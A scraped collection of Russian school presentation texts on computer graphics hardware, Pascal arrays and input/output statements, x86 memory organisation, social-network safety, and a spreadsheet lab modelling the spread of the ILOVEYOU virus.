title: Скачать презентацию или конспект Технические средства компьютерной графики

extracted_text:
Компьютерная графика. Технические средства компьютерной графики.
История компьютерной графики
Разновидности компьютерной графики
Технические средства компьютерной графики
Определение.
Раздел информатики, занимающийся проблемами создания и обработки на компьютере графических изображений, называется компьютерной графикой.
Изображение на экране – отображение информации, находящейся в компьютерной памяти.
История компьютерной графики
Результатами расчетов на первых компьютерах являлись длинные колонки чисел, напечатанных на бумаге.
Для того чтобы осознать полученные результаты, человек брал бумагу, карандаши, линейки и другие чертежные инструменты и чертил графики, диаграммы, чертежи рассчитанных конструкций.
Человек в ручную производил графическую обработку результатов вычислений.
В графическом виде такие результаты становятся более наглядными и понятными.
Возникла идея поручить графическую обработку самой машине.
Первоначально программисты научились получать рисунки в режиме символьной печати.
На бумажных листах с помощью символов получались рисунки, напоминающие мозаику.
 На бумажных листах с помощью звездочек, точек, крестиков, букв печатались графики функций, изображались физические процессы, получались художественные изображения.
 В редком компьютерном центре стены не украшались распечатками с портретами Эйнштейна, репродукциями Джоконды и другой машинной живописью.
Затем появились специальные устройства для графического вывода на бумагу – графопостроители (плоттеры). С помощью такого устройства на лист бумаги чернильным пером наносятся графические изображения: графики, диаграммы, технические чертежи и прочее. Для управления работой графопостроителей стали создавать специальное программное обеспечение.
Появление графического дисплея – настоящая революция в компьютерной графике. На экране стало возможным получать рисунки, чертежи в таком же виде, как на бумаге с помощью карандашей, красок, чертежных инструментов.
Рисунок из памяти компьютера может быть выведен не только на экран, но и на бумагу с помощью принтера.
Научная графика
Это направление появилось первым.
Первые компьютеры использовались лишь для решения научных и производственных задач. Чтобы лучше понять полученные результаты, производили их графическую обработку, строили графики, диаграммы, чертежи рассчитанных конструкций. Первые графики на машине получали в режиме символьной печати. Затем появились специальные устройства - графопостроители (плоттеры) для вычерчивания чертежей и графиков чернильным пером на бумаге. Современная научная компьютерная графика дает возможность проводить вычислительные эксперименты с наглядным представлением их результатов.
Назначение научной графики - наглядное изображение объектов научных исследований, графическая обработка результатов расчетов, проведение вычислительных экспериментов с наглядным представлением их результатов.
Деловая графика
область компьютерной графики, предназначенная для наглядного представления различных показателей работы учреждений. Плановые показатели, отчетная документация, статистические сводки - вот объекты, для которых с помощью деловой графики создаются иллюстративные материалы. Программные средства деловой графики включаются в состав электронных таблиц.
Назначение деловой графики - создание иллюстраций, часто используемых в работе различных учреждений. Плановые показатели, отчетная документация, статистические сводки - вот объекты, для которых с помощью деловой графики создаются иллюстративные материалы.
Конструкторская графика
используется в работе инженеров-конструкторов, архитекторов, изобретателей новой техники. Этот вид компьютерной графики является обязательным элементом САПР (систем автоматизации проектирования). Средствами конструкторской графики можно получать как плоские изображения (проекции, сечения), так и пространственные трехмерные изображения.
Назначение конструкторской графики – использование в работе инженеров-конструкторов и изобретателей для создания чертежей.
Компьютерные приложения, работающие в этой области, получили название САПР — Системы Автоматизированного ПРоектирования.
Графика в сочетании с расчетами позволяет проводить в наглядной форме поиск оптимальной конструкции, наиболее удачной компоновки деталей, прогнозировать последствия, к которым может привести изменения в конструкции.
Средствами конструкторской графики можно получать плоские изображения (проекции, сечения и пространственные, трехмерные изображения.
Иллюстративная графика
Иллюстративная графика - это произвольное рисование и черчение на экране компьютера. Пакеты иллюстративной графики относятся к прикладному программному обеспечению общего назначения. Простейшие программные средства иллюстративной графики называются графическими редакторами.
Программные средства, позволяющие человеку использовать компьютер для произвольного рисования, черчения подобно тому, как он это делает на бумаге с помощью карандашей, кисточек, красок, циркулей, линеек и других инструментов, относятся к иллюстративной графике.
Художественная и рекламная графика
 Художественная и рекламная графика - ставшая популярной во многом благодаря телевидению. С помощью компьютера создаются рекламные ролики, мультфильмы, компьютерные игры, видеоуроки, видеопрезентации. Графические пакеты для этих целей требуют больших ресурсов компьютера по быстродействию и памяти. Отличительной особенностью этих графических пакетов является возможность создания реалистических изображений и "движущихся картинок". Получение рисунков трехмерных объектов, их повороты, приближения, удаления, деформации связано с большим объемом вычислений. Передача освещенности объекта в зависимости от положения источника света, от расположения теней, от фактуры поверхности, требует расчетов, учитывающих законы оптики.
Компьютерная анимация
Получение движущихся изображений на ЭВМ называется компьютерной анимацией. Слово "анимация" обозначает "оживление". В недавнем прошлом художники мультипликаторы создавали свои фильмы вручную. Чтобы передать движение, им приходилось делать тысячи рисунков, отличающихся друг от друга небольшими изменениями. Затем эти рисунки переснимались на кинопленку.
Система компьютерной анимации берет значительную часть рутинной работы на себя. Например, художник может создать на экране рисунки лишь начального и конечного состояния движущегося объекта, а все промежуточные состояния рассчитает и изобразит компьютер. Полученные рисунки, выводимые последовательно на экран с определенной частотой, создают иллюзию движения.
 Мультимедиа - это объединение высококачественного изображения на экране компьютера со звуковым сопровождением. Наибольшее распространение системы мультимедиа получили в области обучения, рекламы, развлечений. Приложения компьютерной графики очень разнообразны. Для каждого направления создается специальное программное обеспечение, которое называют графическими программами, или графическими пакетами.
Картинки компьютер показывает на мониторе, печатает на принтере, считывает со сканера, фото и видео камер. Используются и другие устройства для ввода и вывода графической информации.
Схема системы вывода изображения на экран
Схема показывает, что монитор (дисплей) и видеоадаптер через информационную магистраль связан с центральным процессором и оперативной памятью.
Видеоадаптер – устройство, управляющее работой дисплея.
Видеоадаптер состоит из двух частей:
Видеопамять – предназначена для хранения двоичного кода изображения, выводимого на экран;
Дисплейный процессор – читает содержимое видеопамяти и в соответствии с ней управляет работой дисплея.
Видеокарта (видеоадаптер)
Видеокарта располагается в системном блоке и представляет собой маленький графический компьютер со своими процессором и памятью.
Видеокарта (другие названия: графическая карта, видеоадаптер) управляет работой монитора, освобождая процессор от построения кадров изображения.
От качества видеокарты зависит скорость обработки видеоинформации, чёткость изображения, число цветов на экране и разрешение, в котором будет работать монитор
Монитор
В XIX веке во Франции возникла техника живописи, которую назвали пуантилизмом: рисунок составлялся из разноцветных точек, наносимых кистью на холст. Подобный принцип используется и в компьютерах.
Растровый принцип вывода изображений
Точки на экране компьютера выстроены в ровные ряды. Совокупность точечных строк образуют графическую сетку или растр.
Одна точка носит название пиксель (picture element). Чем гуще сетка пикселей на экране, тем лучше качество изображения.
Размер графической сетки (растра)
Размер графической сетки обычно представляется в форме произведения числа точек в горизонтальной строке на число строк.
Размер графической сетки называется разрешением экрана. Разрешение обычно указывают в виде двух величин через знак умножения. Первая величина задает число столбцов пиксельной матрицы, вторая — число строк.
На современных мониторах используются такие размеры графической сетки:
640 х 480
1024 х 768
1280 х 1024
Размер экрана монитора принято измерять по длине диагонали в дюймах. Один дюйм — это 2,54 сантиметра. Дюймы обозначают двойным штрихом вверху.
Для работы с компьютерными рисунками подойдёт монитор с диагональю 15", но профессионалы используют мониторы с диагоналями 17", 19", 21" и даже больше.
Виды мониторов
 Существуют мониторы, основанные на разных физических принципах. На экране электронно-лучевого монитора изображение выводится по “строчкам”, которые рисует электронный луч, пробегая по экрану. Достоинства электронно-лучевого монитора :
хорошее качество изображения;
сравнительно невысокая цена.
Недостатки электронно-лучевого монитора :
Вредное воздействие на здоровье человека.
Экран жидкокристаллического монитора представляет собой матрицу, каждый элемент которой — жидкий кристалл (как в электронных часах). Кристаллы освещаются специальными лампами. Под действием электрических сигналов кристаллы меняют свои оптические свойства, моделируя на экране элементы изображения.
Достоинства жидкокристаллического монитора :
отсутствие вредного излучения;
занимает мало места;
потребляет мало электроэнергии.
Недостатки жидкокристаллического монитора :
высокая стоимость;
не очень качественная цветопередача.
Устройства ввода изображения в компьютер
Сканер позволяет ввести в компьютер изображение: фотографию, страницу журнала, книги, рукопись. То есть, сканер — это устройство ввода.
Можно отсканировать страницу с текстом (как картинку), а затем при помощи специальной программы преобразовать изображение в настоящий текст, с которым можно работать в текстовом редакторе.
Сканирование выполняется при помощи светового луча. Источник света перемещается вдоль оригинала, считывая изображение.
Изображение в компьютер может вводиться с цифрового фотоаппарата и с цифровой видеокамеры. Фотографии и видеофильмы в этих устройствах сохраняются в виде двоичного кода на магнитных дисках. Затем, используя кабельное соединение, их можно переписать на компьютерный диск.
Сканер распознает изображение, автоматически создает его электронную копию, которая может быть сохранена в памяти компьютера.
Отличительные черты сканеров:- глубина распознавания цвета: черно-белые, с градацией серого, цветные;- оптическое разрешение или точность сканирования, измеряется в точках на дюйм (dpi) и определяет количество точек, которые сканер различает на каждом дюйме; стандартные разрешения - 200, 300, 600, 1200 точек на дюйм;- программное обеспечение: обучаемые сканеры имеют образцы почерков для распознавания рукописного текста, интеллектуальные сами обучаются; - конструкция: ручные, страничные (листовые) и планшетные.Сканеры находят широкое применение в издательской деятельности, в системах проектирования, анимации. Сканеры незаменимы при создании иллюстративных материалов для презентаций, докладов, рекламы.


title: Скачать презентацию или конспект Одномерные массивы целых чисел. Описание, заполнение, вывод массива

extracted_text:
Одномерные массивы целых чисел.Описание, заполнение, вывод массива
Массив – это поименованная совокупность однотипных элементов, упорядоченных по индексам, определяющих положение элемента в массиве.

Рассмотрим запись: A[3]=-8
А – имя массива
3 – номер элемента (индекс)
A[3] – обозначение 3-го элемента массива
-8 – значение третьего элемента массива
А
Имя массива
Индексы
Элементы массива
A[7]=10
A[1]+А[2]=10+3=13
Общий вид описания массива:
<Имя массива>:array [<мин_знач_индекса>..<макс_знач_индекса >]
                                                                              of <тип элементов>;

Способы описания массивов:
1. В разделе описания переменных
var а: array[1..10] of  integer;
const n=5;
    var а: array[1..n] of  integer;

2. В разделе описания констант
const b: array[1..5] of integer = (1,3,5,7,9);

3. В разделе описания типов данных
type mas: array[1..20] of  integer;
    var  c: mas;
Способы заполнения массива:
1. Ввод с клавиатуры
for i:=1 to 10 do read (a[i]);
2. С помощью оператора присваивания
for i:=1 to 10 do a[i]:=i;
for i:=1 to 10 do
     begin
          readln (x);
          if x mod 2=0 then a[i]:=x;
     end;
3. Случайными числами
randomize;
     for i:=1 to 10 do a[i]:=random(100)
randomize;
     for i:=1 to 10 do a[i]:=-50+random(101)

Вывод массива на экран:

for i:=1 to 8 do write (a[i],’ ‘);
        Результат: 10 3 -8 14 25 12 10 1

Более наглядно:
         for i:=1 to 8 do writeln (‘a[‘,i,’]=’,a[i]);
    Результат:
a[1]=10
a[2]=3
a[3]=-8
a[4]=14
a[5]=25
a[6]=12
a[7]=10
a[8]=1

Задача 1. Заполнить массив из пяти элементов значениями, вводимыми с клавиатуры.
Задача 2. Заполнить массив из десяти элементов случайными целочисленными значениями, лежащими в диапазоне от -100 до 100.
Задача 3. Составить программу вывода на экран любого элемента массива по его индексу.
Домашнее задание
Задачи №4-8
РТ №201-203

Самостоятельная работа
Задача 4. Заполнить  массив  из  восьми  элементов  следующими  значениями:  первый элемент  массива  равен  37,  второй - 0,  третий - 50,  четвертый - 46,  пятый - 34, шестой - 46, седьмой - 0, восьмой -13
Задача 5. Заполнить массив из 12 элементов следующим образом:

Задача 6. Массив хранит в себе рост 12 человек. С помощью датчика случайных чисел заполнить массив целыми значениями, лежащими в диапазоне от 160 до 190 включительно.
Задача 7. Заполнить массив случайными числами в диапазоне от 0 до 33. Вывести элементы массива на экран в обратном порядке.
Задача 8. Заполнить массив десятью первыми членами арифметической прогрессии с известным первым членом прогрессии а и её разностью d.


title: Скачать презентацию или конспект Системное программное обеспечение

extracted_text:
Системное программное обеспечение
Лекция № 3 «Организация памяти»
Организация памяти
	Физическая память, к которой процессор имеет доступ по шине адреса называется оперативной памятью (или оперативным запоминающим устройством — ОЗУ). ОЗУ организовано как последовательность ячеек — байтов. Каждому байту соответствует свой уникальный адрес (его номер), называемый физическим.
	Диапазон значений физических адресов зависит от разрядности шины адреса процессора. Для 80486 и Pentium он находится в пределах от 0 до 232 – 1 (4 Гбайт). Для процессоров Pentium Pro/II/III/IV этот диапазон шире — от 0 до 236 – 1 (64 Гбайт). Процессор 8086 имел 1 Мбайт памяти при двадцатиразрядной шине адреса – от 0 до 220 – 1.
Организация памяти
	Процессор аппаратно поддерживает две модели использования оперативной памяти:
В сегментированной модели программе выделяются непрерывные области памяти (сегменты), а сама программа может обращаться только к данным, которые находятся в этих сегментах
Страничную модель можно рассматривать как надстройку над сегментированной моделью. Основное применение этой модели связано с организацией виртуальной памяти, что позволяет операционной системе использовать для работы программ пространство памяти большее, чем объем физической памяти за счет объединения в единое адресное пространство оперативной и внешней памяти
Организация памяти
	Кстати, другое название физического адреса — линейный адрес. Подобная двойственность в названии как раз обусловлена наличием страничной модели организации оперативной памяти. Эти названия являются синонимами только при отключении страничного преобразования адреса (в реальном режиме страничная адресация всегда отключена). В страничной модели линейный и физический адреса имеют разные значения.
	Механизм управления памятью является полностью аппаратным и позволяет обеспечить:
компактность хранения адреса в машинной команде
гибкость механизма адресации
защиту адресных пространств задач в многозадачной системе
поддержку виртуальной памяти
Организация памяти
	В семействе процессоров 80х86 выбор метода обращения к памяти определяется режимом работы процессора.
	В реальном режиме процессор может обращаться только к первому мегабайту памяти, адреса которого находятся в диапазоне от 00000 до FFFFF в шестнадцатеричном выражении. При этом процессор работает в однопрограммном режиме (т.е. в заданный момент времени он может выполнять только одну программу). Однако при этом он может в любой момент прервать ее выполнение и переключиться на процедуру обработки прерывания, поступившего от одного из периферийных устройств. Любой программе, которую выполняет в этот момент процессор, разрешен доступ без ограничения к любым областям памяти, находящимся в пределах первого мегабайта: к ОЗУ — по чтению и записи, а к ПЗУ, понятно, только по чтению. Реальный режим работы процессора используется в операционной системе MS DOS, а также в системах Windows 95 и 98 при загрузке в режиме эмуляции MS DOS.
Организация памяти
	В защищенном режиме процессор может одновременно выполнять несколько программ. При этом каждому процессу (т.е. выполняющейся программе) может быть назначено до 4 Гбайт оперативной памяти. Чтобы предотвратить взаимное влияние выполняющихся программ друг на друга им выделяются изолированные участки памяти. В защищенном режиме работают такие ОС, как MS Windows и Linux.
	В виртуальном режиме адресации процессора 8086, последний на самом деле работает в защищенном режиме. Для каждой задачи создается собственная виртуальная машина, которой выделяется изолированная область памяти размером 1 Мбайт, и полностью эмулируется работа процессора 80x86 в реальном режиме адресации. Например, в операционных системах Windows 2000 и ХР виртуальная машина процессора 8086 создается каждый раз при запуске пользователем окна командного интерпретатора (сеанса MS DOS).
Организация памяти
	Реальный режим адресации
	Отличительные черты механизма адресации физической памяти в реальном режиме следующие:
Диапазон изменения физического адреса — от 0 до 1 Мбайт, поскольку при адресации используется только 20 младших разрядов шины адреса
Максимальный размер памяти, адресуемой с помощью 16–разрядных регистров — 64 Кбайт
Для обращения к конкретному физическому адресу во всей доступной оперативной памяти  используется сегментация памяти, т.е. разбиение доступного адресного пространства на сегменты размером 64 Кбайт и использование вместо физического логического адреса в форме  <сегмент>:<смещение>, т.е. комбинации адреса начала сегмента и смещение внутри сегмента
16–разрядный адрес начала сегмента помещается в один из шести сегментных регистров (CS, DS, ES, SS, FS или GS)
Программы непосредственно оперируют только 16–разрядным смещением, указанным относительно начала сегмента
Организация памяти
	Младшая шестнадцатеричная цифра в адресе каждого сегмента равна нулю, т.е. адрес любого сегмента всегда будет кратен 16 байтам и границы сегментов располагаются через каждые 16 байт физических адресов. Каждый из этих 16–байтовых фрагментов называется параграфом.
Организация памяти
	Адреса, заданные в программах в форме "сегмент–смещение", автоматически преобразуются процессором в 20–разрядные линейные адреса в процессе выполнения команды по следующей схеме:
Организация памяти
	Пример: байт, заданный в форме "сегмент–смещение": 8000:0250 в шестнадцатиричной транскрипции.
	Логический адрес: 	8000:0250
	––––––––––––––––––––––––––––––
	Сегмент:		80000
			           +
	Смещение:		  0250
	 –––––––––––––––––––––––––––––
	Физический адрес:	80250
	В типичной программе, написанной для процессоров семейства 80x86, как правило, есть три сегмента: кода, данных и стека. При запуске программы их базовые сегментные адреса загружаются в регистры CS, DS и SS, соответственно. В трех оставшихся регистрах ES, FS и GS программа может хранить указатели на дополнительные сегменты.
Организация памяти
	Недостатки такой организации памяти:
сегменты бесконтрольно размещаются с любого адреса, кратного 16 (так как содержимое сегментного регистра аппаратно смещается на 4 разряда), и, как следствие, программа может обращаться по любым адресам, в том числе и реально не существующим
сегменты имеют максимальный размер 64 Кбайт
сегменты могут перекрываться другими сегментами
Организация памяти
	Защищенный режим адресации
 	При работе в защишенном режиме каждой программе может быть выделен блок памяти размером до 4 Гбайт, адреса которого в шестнадцатеричном представлении могут меняться от 00000000 до FFFFFFFF. При этом говорят, что программе выделяется линейное адресное пространство (linear address space).
	В защишенном режиме в сегментных регистрах (CS, DS, SS, ES, FS, GS) хранятся не 16–разрядные базовые адреса сегментов, а селекторы–указатели на дескрипторы сегмента (segment descriptor), расположенные в одной из системных таблиц дескрипторов (descriptor table). По информации, находящейся в дескрипторе, операционная система определяет линейные адреса сегментов программы. Существует две разновидности таблиц: Global Descriptor Table (глобальная таблица дескрипторов) и Local Descriptor Tables (локальные таблицы дескрипторов).
Организация памяти
Структура селектора дескриптора сегмента:
	Дескриптор состоит из 8 байт, в которые входят базовый адрес сегмента, размер и другая информация:
Организация памяти
	Дескриптор 0 является запрещенным — его можно безопасно загрузить в сегментный регистр, чтобы обозначить, что сегментный регистр в данный момент недоступен, но при попытке его использовать вырабатывается прерывание.
	В типичной программе, написанной для защишенного режима, как правило, есть три сегмента: кода, данных и стека, информация о которых хранится в трех перечисленных ниже сегментных регистрах.
В регистре CS хранится указатель на дескриптор сегмента кода программы
В регистре DS хранится указатель на дескриптор сегмента данных программы
В регистре SS хранится указатель на дескриптор сегмента стека программы
Организация памяти
	Преобразование пары селектор–смещение в физический адрес осуществляется по следующей схеме:
	Если разбиение на страницы блокировано (с помощью бита в глобальном управляющем регистре), линейный адрес интерпретируется как физический адрес и посылается в память для чтения или записи. С другой стороны, если доступна страничная подкачка, линейный адрес интерпретируется как виртуальный адрес и отображается на физический адрес с помощью таблицы страниц.
Организация памяти
	В защищенном режиме аппаратно поддерживаются модели памяти:
	Flat Model (плоская, сплошная или линейная модель) – организация памяти, при которой все сегменты отображаются на единственную область линейных адресов. Для этого дескрипторы всех сегментов указывают на один и тот же сегмент памяти, который соответствует всему 32–разрядному физическому адресному пространству компьютера. Для плоской модели должно создаваться, как минимум, два дескриптора, один для ссылок к коду, а другой для ссылок к данным.
Организация памяти
	Дескрипторы хранятся в специальной системной таблице, которая называется таблицей глобальных дескрипторов (Global Descriptor Table, или GDT). Для плоской модели каждый дескриптор имеет базовый адрес, равный 0. Значение поля, определяющего границу сегмента, умножается процессором на шестнадцатеричное число 1000. Сегменты могут  покрывать  весь  4–х гигабайтный диапазон   физических   адресов,   или   только   те  адреса,  которые отображаются   на   физическую   память. Если установить границу сегмента в значение 4 гигабайта, механизм сегментации предотвращает генерацию исключений для ссылок к памяти, выходящих за границу сегмента.
Организация памяти
	Данная модель позволяет исключить механизм сегментации из архитектуры системы, так как все операции с памятью обращаются к общему пространству памяти.
	С точки зрения программиста, эта модель наиболее проста в использовании, поскольку для хранения адреса любой переменной или команды достаточно одного 32–разрядного целого числа.
Организация памяти
Multisegmented Model (многосегментная модель)
	Для каждой программы выделяется собственная таблица сегментных дескрипторов, которая называется таблицей локальных дескрипторов (Local Descriptor Table, или LDT). При этом появляется возможность для каждого процесса создать собственный набор сегментов, которые никак не пересекаются с сегментами других процессов. В результате каждый сегмент находится в изолированном адресном пространстве.
Организация памяти
	На рисунке показано, что каждый элемент таблицы локальных дескрипторов определяет различные сегменты памяти. В каждом дескрипторе сегмента указывается его точная длина. Например, сегмент, начинающийся с адреса 3000, имеет длину 2000 байтов в шестнадцатеричном представлении, поскольку значение поля дескриптора, определяющего границу сегмента, равно 0002, а 0002х1000=2000. По аналогии, длина сегмента, начинающегося с адреса 8000, равна А000.
	Следует отметить, что Flat Model реализуется как частный случай сегментированной модели, когда программа обращается к сегменту, под который отведено все линейное пространство.
Организация памяти
	Paging (cтраничная модель памяти)
	Эта модель представляет собой форму управления памятью для моделирования большого несегментированного адресного пространства с использованием части дисковой памяти и фрагментированного адресного пространства. Обеспечивает доступ к структурам данных, имеющим размер больше, чем размер доступного объема памяти, сохраняя их частично в оперативной памяти и частично на диске.
	По этой модели линейное адресное пространство делится на блоки одинакового размера (обычно 4 Кбайт), которые называются страницами (page).
Организация памяти
	На рисунке представлен линейный адрес, разделенный на три поля: Каталог, Страница и Смещение.
	Поле Каталог используется как индекс в страничном каталоге, определяющий расположение указателя на правильную таблицу страниц.
Организация памяти
	Затем обрабатывается поле Страница в качестве индекса в таблице страниц с целью найти физический адрес страничного блока. Чтобы получить физический адрес требуемого байта или слова, к адресу страничного блока прибавляется последнее поле Смещение.
	В результате можно легко сделать так, чтобы суммарный объем оперативной памяти, используемой во всех выполняющихся на компьютере программах, превышал объем реальной памяти компьютера. Именно поэтому страничная организация памяти очень часто называется виртуальной памятью (virtual memory). Работоспособность системы виртуальной памяти обеспечивает специальная программа, являющаяся частью операционной системы, которая называется диспетчером виртуальной памяти (virtual memory manager).
Организация памяти
	Страничная организация памяти как нельзя лучше решает проблему нехватки памяти. Дело в том, что перед началом выполнения любая программа должна быть загружена в оперативную память, размер которой, всегда ограничен (например, в силу конструктивных особенностей компьютера или цены модуля памяти). Пользователи компьютера обычно загружают в память сразу несколько программ, чтобы в процессе работы иметь возможность переключаться между ними (например, переходить из одного окна в другое). С другой стороны, объемы дисковой памяти намного превышают объемы оперативной памяти компьютера, да и к тому же эта память намного дешевле. Поэтому за счет привлечения дисковой памяти при использовании страничной организации памяти для пользователя создается впечатление, что он располагает ОЗУ неограниченного объема. Разумеется, что за все нужно платить: скорость доступа к дисковой памяти на несколько порядков ниже, чем к оперативной памяти.
Организация памяти
	При выполнении программы, участки ее оперативной памяти (или страницы), которые не используются в данный момент, можно безболезненно сохранить на диске. Говорят, что часть задачи вытеснена (swapped) на диск. В оперативной памяти компьютера имеет смысл сохранять только те страницы, к которым процессор активно обращается, например, выполняет некоторый программный код. Если же процессор должен обратиться к странице памяти, которая в настоящий момент вытеснена на диск, происходит системная ошибка (или прерывание) из–за отсутствия страницы (pagefault). Обработкой этой ошибки занимается диспетчер виртуальной памяти операционной системы, который находит на диске страницу, содержащую нужный код или данные, и загружает ее в свободный участок оперативной памяти.
Организация памяти
	С виртуальной памятью тесно связана тема защиты. Pentium поддерживает четыре уровня защиты, где уровень 0 является наиболее привилегированным, а уровень 3 — наименее привилегированным. В каждый момент времени работающая программа находится на определенном уровне Каждый сегмент в системе также имеет свой уровень.
Организация памяти
	На уровне 0 находится ядро операционной системы, занимающееся обработкой операций ввода/вывода, управлением памятью и другими первоочередными вопросами. На уровне 1 – обработчик системных вызовов. Пользовательские программы этого уровня могут обращаться к процедурам для выполнения системных вызовов, но только к определенному и защищенному списку процедур. Уровень 2 содержит библиотечные процедуры, возможно, совместно используемые несколькими работающими программами. Пользовательские программы вправе вызывать эти процедуры и читать их данные, но не могут их изменять. И, наконец, пользовательские программы работают на уровне 3, который имеет наименьшую степень защиты.


title: Скачать презентацию или конспект Безопасное общение в социальных сетях

extracted_text:
Безопасность общение в социальных сетях.
Выполняла:Сириченко Анастасия.
Ученица 5 В класса
МБОУ Гимназия№1
г Воронеж
Правила безопасности.
1) Старайтесь давать как можно меньше информации о себе в Интернете. Ибо в Интернете вы рискуете стать объектом мошенничества или запугивания как настоящих преступников, так и просто любителей «пошутить». 90% мошенничеств происходит из-за утечки информации по вине пользователя.
 2) Будьте осторожны при общении с незнакомыми людьми, они могут оказаться не теми, за кого себя выдают.
3) Рискованно отправлять свои фотографии сетевым знакомым. Среди них существует немало шутников, которые способны выложить их на сайтах сомнительного содержания и доставить вам немало морального вреда.

Плюс социальной сети.
 СОЦИАЛЬНАЯ СЕТЬ – удобный способ общения с друзьями легко отправлять сообщения, смотреть и комментировать фотографии
Но есть и другая сторона социальной сети.
  Это- интернет-мошенничество и программно-технические угрозы и т.д.

Будьте осторожны.
ВСЮ ИНФОРМАЦИЮ, которую вы даже ограничиваете и скрываете от других, так называемых «чужих» пользователей, ВСЕ РАВНО МОЖНО УВИДЕТЬ, взломав ваш аккаунт.
 НЕ ДОБАВЛЯЙТЕ в друзья тех, кто вам малоизвестный, незнаком или подозрителен, обезопасьте себя лишний раз.
ПОМНИТЕ В СОЦИАЛЬНЫХ СЕТЯХ люди собираются НЕ ТОЛЬКО, ЧТОБЫ ПООБЩАТЬСЯ В интернете МАССА МОШЕННИКОВ.
А также…
НЕ АФИШИРУЙТЕ в социальных сетях что планируете отправиться в путешествие или отпуск, этой информацией воспользуются НЕ НА ВАШУ ПОЛЬЗУ
Самое главное.
ОТНОСИТЕСЬ К СОЦИАЛЬНЫМ СЕТЯМ ОСТОРОЖНО Пишите на своей странице информацию общего характера. Не хвастайтесь, а то хвастаться может вскоре не чем будет
Спасибо за внимание!


title: Скачать презентацию или конспект Исследование модели неограниченного распространения компьютерного вируса в сети Интернет

extracted_text:
Исследование модели неограниченного  распространения компьютерного вируса в сети Интернет
© Шапошникова Н. Т. , школа № 617
Описание задачи
Юноша получил электронное письмо, в котором сообщалось, что к этому письму прикреплено любовное послание, и предлагалось его посмотреть. К письму, действительно был прикреплен какой-то файл, но вовсе не любовное письмо, а компьютерный вирус ILOVEYOU. Когда юноша нажал на значок файла, вирус запустился. Запустившись, он удалил все графические и звуковые файлы на диске, а затем, используя адресную книгу почтовой программы, разослал точно такое же письмо всем знакомым жертвы.
Благодаря использованию электронной почты вирус ILOVEYOU заразил огромное количество компьютеров по всему миру буквально за один день.
Определите, сколько компьютеров инфицировал компьютер пострадавшего юноши через 24 часа. Предположите, что по статистике средний коэффициент распространения вируса равен двум адресам в час. Наличие средств антивирусной защиты не учитывать.
Справка
Цели моделирования
Исследовать динамику распространения вируса в сети Интернет без учета антивирусной защиты;
Определить, насколько построенная компьютерная модель соответствует реальному явлению распространения вирусов в сети Интернет.
Задачи
Провести экспериментальное исследование роста количества инфицированных компьютеров:
Построить математическую модель
Построить компьютерную модель
Провести компьютерный эксперимент
Исследовать влияние параметров модели на характер распространения компьютерного вируса ILOVEYOU в сети Интернет
Проанализировать, насколько реалистична построенная модель
Инструмент моделирования
Электронная таблица Microsoft Excel
Образец компьютерной модели
Математическая модель

Правила оформления компьютерной модели
Делайте лабораторную работу в одной книге. Назовите книгу МодельРаспространенияВируса
Выполняйте каждый компьютерный эксперимент на отдельном листе
Называйте каждый лист в соответствии с названием компьютерного эксперимента
Название модели и название таблиц вводите в ячейку А1. Выделяйте каждую таблицу рамкой
Диаграмма должна иметь название и подписи по осям OX и OY
График стройте обычной цветной линией на белом фоне

Вирус ILOVEYOU появился 5 мая 2000 года. Вирус распространялся через электронную почту. Сообщение содержало вложенный файл, являющийся вирусом. Вирус разрушал файловую систему, переименовывал расширения файлов, похищал login и пароль пользователя, что позволяло злоумышленнику иметь доступ в Интернет за ваш счет, и рассылался по всем адресам в адресной книге.
.
Назад


title: Скачать презентацию или конспект Операторы ввода, вывода, и присваивания

extracted_text:
Операторы ввода, вывода, и присваивания
Команда присваивания используется для изменения значений переменных, в языке Паскаль эта команда обозначается так:
<имя переменной>:=<выражение>;
Тип значение выражения должен совпадать с типом переменной.
Пример:
а:=2;
b:=8;
S:=а+b;
После выполненных последовательно данных
трех команд переменная S принимает значение равное 10.
Оператор присваивания
a:=2;
b:=a+4;
b:=1-b;
c:=-b+3*a;

a:=7;
b:=a-4;
b:=-a;
c:=-a+2*b;

a:=1;
b:=0;
b:=b+2;
a:=a+b;

11
-13
3
а-?
с-?
с-?
КОМАНДЫ ВЫВОДА
WRITE ( ); - выводит на экран, указанные в скобках параметры, курсор остается в этой же строке.
WRITELN ( ); - выводит на экран, указанные в скобках параметры, после вывода курсор переходит в начало следующей строки экрана.
В качестве параметров в круглых скобках может быть указан текст сообщения (текст записывается в апострофах ' ') и имя переменной (записывается без апострофов), значение которой нужно вывести. Между выводимыми элементами ставится запятая.
Пример:
Writeln('Мне16лет');		На экране появится: Мне 16 лет

a:=11;
Writeln('Я учусь в ', а,' классе');	На экране появится: Я учусь в 11 классе

х:=3;у:=6;
Writeln(х+у,' рублей');		На экране появится: 9 рублей

КОМАНДЫ ВВОДА
READ ( ); или READLN ( ); - считывает в перечисленные в скобках переменные значения, введенные с клавиатуры (через пробел или после каждого значения нажимают Enter). Если значения вводились через пробел, то после ввода следует нажать Enter.

В качестве параметров в круглых скобках через запятую указываются имена переменных, значения которых считываются. При работе с простыми переменными рекомендуется использовать команду Readln ( );
Перед каждой командой ввода рекомендуется выводить на экран поясняющий текст с информацией о том, что именно нужно ввести.

Пример:
Запросить с клавиатуры значение переменной а.
	Write (‘a=’);
	Readln(а);
На экране появится а= и после знака равно будет мигать курсор в ожидании ввода с клавиатуры целого числа. После ввода числа необходимо нажать Enter.

Задача. Найти сумму двух чисел
Program N1;
Var а, b: Integer; {переменные а и b целого типа}
S: Longint;{переменная S типа длинное целое}
Веgin
а:=7;{присваивание значения первому числу а}
b:=4;{присваивание значения второму числу b}
S:=а+b;{вычисление суммы S чисел а и b}
{вывод результата работы программы на экран}
Writeln (' сумма ', а ,' и ', b ,' равна ', S);
End.
Program N2;
Var а, b: Integer; {переменные а и b целого типа}
S: Longint;{переменная S типа длинное целое}
Веgin
Writeln (‘а’,a);{вводим  а}
Writeln ( ‘b’,b);{вводим b}
S:=а+b;{вычисление суммы S чисел а и b}
{вывод результата работы программы на экран}
Writeln (' сумма ', а ,' и ', b ,' равна ', S);
End.
ЗАДАЧА
Найти произведение двух целых чисел.
Решение:
Вводим два  целых числа с клавиатуры.
Вычисляем их произведение.
Выводим результат на экран.
Программа будет иметь вид:

Program N3;
Var 	a, b :Integer;
	p: Longint;
Begin
	Writeln(' Введите два числа ');
	Readln(а,b);
	р:=а*b;
	Writeln (' произведение ', а ,' и ', b ,' равно', р);
	Readln;
End.

с какими операторами мы с вами сегодня познакомились? Какие действия они выполняют?
Домашнее заданиеНаписать программу на вычисления площади  и периметра прямоугольника, где а и b вводится с клавиатуры.


title: Скачать презентацию или конспект Способы представления графической информации
